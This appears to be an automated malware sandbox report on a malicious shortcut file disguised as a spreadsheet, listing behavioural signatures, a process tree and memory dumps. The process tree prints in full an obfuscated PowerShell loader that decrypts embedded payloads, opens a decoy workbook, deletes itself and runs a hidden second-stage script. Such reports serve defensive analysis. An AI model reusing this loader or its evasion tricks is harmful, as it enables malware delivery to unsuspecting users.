Analysis
- max time kernel
148s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
23/06/2026, 12:30
General
- Target Pantera_Information_Request.xlsx.lnk
- Size 20KB
- Sample260623-ppvbbscx9m
- SHA256 b7606c5c324976fe1715b8f6170a74f3e5b96ad888eb27910edafd1c35e45a6b
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Deletes itself 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Pantera_Information_Request.xlsx.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c for /r C:\Windows\system32\ %f in (*owers*ell.*xe) do (title aiwkvnuyhcsD& "%f" "function hill{ param($fall, $boss, $opposition, $ugly); <#carry same#> $rub = New''-''Obj''ect byte[] $opposition; <#push proceed#> $belt = [System.IO.File]::OpenRead($fall); try { <#surprising lake#> $belt.Seek($boss, [System.IO.SeekOrigin]::Begin) | Out-Null; <#insight movie#> $joke = $belt.Read($rub, 0, $opposition); if ($joke -gt 16) { <#territory Christian#> $collapse = New''-Ob''je''c''t byte[] 16; [Array]::Copy($rub, 0, $collapse, 0, 16); <#pause imply#> $grass = Ne''w-''Ob''jec''t byte[] ($joke - 16); [Array]::Copy($rub, 16, $grass, 0, $grass.$prepare); <#really ultimate#> $cognitive = [System.Security.Cryptography.SHA256]::Create(); <#PM girl#> $etc = $cognitive.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ugly)); <#report gold#> $cognitive.Dispose(); <#profit definitely#> $distinguish = [System.Security.Cryptography.Aes]::Create(); <#exact push#> $distinguish.Mode = [System.Security.Cryptography.CipherMode]::CBC; <#cross gang#> $distinguish.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $distinguish.Key = $etc; <#soldier represent#> $distinguish.IV = $collapse; <#asleep chance#> $participation = $distinguish.CreateDecryptor(); <#replace undergo#> $game = $participation.TransformFinalBlock($grass, 0, $grass.$prepare); $distinguish.Dispose(); return $game; } } finally { $belt.Close(); } return $nullptr; };function declare{ param($spending); foreach ($file in [System.IO.Directory]::EnumerateFiles($spending, '*.ln'+'k', 'AllD'+'irec'+'tor'+'ies')) { $connect = [System.IO.FileInfo]$file; if ($connect.$prepare -eq 0x000051B3) { return $connect.FullName; } } return ''; };$prepare = 'le';$financial = 'Byt';$prepare += 'ngt'+'h';$financial += 'e';$source = declare -spending $PWD;if ($source.$prepare -eq 0) { <#blind put#> $source = declare -spending $env:Temp; };$venture = Sp''l''it''-Pa''th $source;$considerable = $source.substring(0,$source.$prepare-4) + '';$personnel = '4716'+'31'+'322'+'6';$rapidly = hill -fall $source -boss 0x000018C4 -opposition 0x000020E0 -ugly $personnel;[System.IO.File]::WriteAllBytes($considerable, $rapidly);& $considerable;$close = hill -fall $source -boss 0x000039A4 -opposition 0x000016D0 -ugly $personnel;$potato = [System.Text.Encoding]::UTF8.GetString($close);r''emo''v''e-i''t''e''m $source -Force;$cell = [runspacefactory]::CreateRunspace();$cell.Open();$classroom = [powershell]::Create();$classroom.Runspace = $cell;$classroom.AddScript($potato) | Out-Null;$smell = $classroom.BeginInvoke();$furniture = $classroom.EndInvoke($smell);$classroom.Dispose();$cell.Close();$cell.Dispose();")2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" "function hill{ param($fall, $boss, $opposition, $ugly); <#carry same#> $rub = New''-''Obj''ect byte[] $opposition; <#push proceed#> $belt = [System.IO.File]::OpenRead($fall); try { <#surprising lake#> $belt.Seek($boss, [System.IO.SeekOrigin]::Begin) | Out-Null; <#insight movie#> $joke = $belt.Read($rub, 0, $opposition); if ($joke -gt 16) { <#territory Christian#> $collapse = New''-Ob''je''c''t byte[] 16; [Array]::Copy($rub, 0, $collapse, 0, 16); <#pause imply#> $grass = Ne''w-''Ob''jec''t byte[] ($joke - 16); [Array]::Copy($rub, 16, $grass, 0, $grass.$prepare); <#really ultimate#> $cognitive = [System.Security.Cryptography.SHA256]::Create(); <#PM girl#> $etc = $cognitive.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ugly)); <#report gold#> $cognitive.Dispose(); <#profit definitely#> $distinguish = [System.Security.Cryptography.Aes]::Create(); <#exact push#> $distinguish.Mode = [System.Security.Cryptography.CipherMode]::CBC; <#cross gang#> $distinguish.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $distinguish.Key = $etc; <#soldier represent#> $distinguish.IV = $collapse; <#asleep chance#> $participation = $distinguish.CreateDecryptor(); <#replace undergo#> $game = $participation.TransformFinalBlock($grass, 0, $grass.$prepare); $distinguish.Dispose(); return $game; } } finally { $belt.Close(); } return $nullptr; };function declare{ param($spending); foreach ($file in [System.IO.Directory]::EnumerateFiles($spending, '*.ln'+'k', 'AllD'+'irec'+'tor'+'ies')) { $connect = [System.IO.FileInfo]$file; if ($connect.$prepare -eq 0x000051B3) { return $connect.FullName; } } return ''; };$prepare = 'le';$financial = 'Byt';$prepare += 'ngt'+'h';$financial += 'e';$source = declare -spending $PWD;if ($source.$prepare -eq 0) { <#blind put#> $source = declare -spending $env:Temp; };$venture = Sp''l''it''-Pa''th $source;$considerable = $source.substring(0,$source.$prepare-4) + '';$personnel = '4716'+'31'+'322'+'6';$rapidly = hill -fall $source -boss 0x000018C4 -opposition 0x000020E0 -ugly $personnel;[System.IO.File]::WriteAllBytes($considerable, $rapidly);& $considerable;$close = hill -fall $source -boss 0x000039A4 -opposition 0x000016D0 -ugly $personnel;$potato = [System.Text.Encoding]::UTF8.GetString($close);r''emo''v''e-i''t''e''m $source -Force;$cell = [runspacefactory]::CreateRunspace();$cell.Open();$classroom = [powershell]::Create();$classroom.Runspace = $cell;$classroom.AddScript($potato) | Out-Null;$smell = $classroom.BeginInvoke();$furniture = $classroom.EndInvoke($smell);$classroom.Dispose();$cell.Close();$cell.Dispose();"3⤵
- Badlisted process makes network request
- Deletes itself
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Pantera_Information_Request.xlsx"4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\di55ybp3\di55ybp3.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF99D.tmp" "c:\Users\Admin\AppData\Local\Temp\di55ybp3\CSC8A099A4B36624B67AEBE2A529B64DB9A.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qiymp2jz\qiymp2jz.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFAA7.tmp" "c:\Users\Admin\AppData\Local\Temp\qiymp2jz\CSC320E4404BB7A435A881920E768F9A4DD.TMP"5⤵
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Pantera_Information_Request.xlsx
RESF99D.tmp
RESFAA7.tmp
di55ybp3.dll
qiymp2jz.dll
b8ab77100df80ab2.customDestinations-ms
CSC8A099A4B36624B67AEBE2A529B64DB9A.TMP
di55ybp3.0.cs
di55ybp3.cmdline
CSC320E4404BB7A435A881920E768F9A4DD.TMP
qiymp2jz.0.cs
qiymp2jz.cmdline
memory/1232-40-0x00000231F6840000-0x00000231F71E4000-memory.dmp
memory/1856-54-0x000001F746240000-0x000001F746BE4000-memory.dmp
memory/3668-13-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-7-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-1-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-65-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-62-0x000001DBF0EA0000-0x000001DBF13C8000-memory.dmp
memory/3668-56-0x000001DBF0960000-0x000001DBF0968000-memory.dmp
memory/3668-15-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-33-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-12-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-11-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-42-0x000001DBF0940000-0x000001DBF0948000-memory.dmp
memory/3668-10-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-9-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-14-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-4-0x000001DBF02B0000-0x000001DBF02D2000-memory.dmp
memory/3668-8-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-0-0x00007FFB3CF3F000-0x00007FFB3CF40000-memory.dmp
memory/3668-6-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3668-5-0x00007FFB3CDB0000-0x00007FFB3D754000-memory.dmp
memory/3840-21-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-32-0x00007FFB1DD10000-0x00007FFB1DD20000-memory.dmp
memory/3840-25-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-22-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-26-0x00007FFB1DD10000-0x00007FFB1DD20000-memory.dmp
memory/3840-23-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-24-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-91-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-94-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-93-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp
memory/3840-92-0x00007FFB20A40000-0x00007FFB20A50000-memory.dmp